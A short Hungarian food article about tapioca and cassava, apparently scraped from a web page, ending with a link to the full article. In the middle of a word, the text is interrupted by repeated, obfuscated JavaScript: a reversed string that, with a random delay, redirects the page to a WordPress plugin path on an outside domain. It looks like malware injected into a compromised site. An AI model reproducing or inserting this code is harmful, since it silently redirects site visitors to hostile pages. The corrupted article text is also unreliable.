A tápióka, akárcsak a nyílgyökér és a belőle készülő nyílgyökérliszt, Dél-Amerikából és Afrika trópusi részeiről származik. Egy trópusi növény, a manióka, gumós gyökeréből állítják elő. Két fajtáját különböztetik meg, a keserűt (ezt szánják fogyasztásra) és az édeset. A tápióka az afrikai konyha alapvető kelléke, akárcsak az ázsiaiban a rizs, vagy nálunk a burgonya. A tápióka levele magas fehérjetartalma miatt a szegény országok lakóinak legfontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosabb energiaforrása, de ezen felül a növény magas ásványi és vitamintartalma is ismert. A tápióka hasonló tulajdonságokkal bír, mint a nyílgyökérliszt, leszámítva azt, hogy míg utóbbi bírja az almaecetet és citromlevet, illetve a fagyasztást, addig a tápióka…
A cikk folytatódik: http://gasztrokalandok.co.hu/hogyan-keszul-/2018/11/22/minden-amit-valaha-is-a-tapiokarol-tudni-kell.html
- Hirdetés -
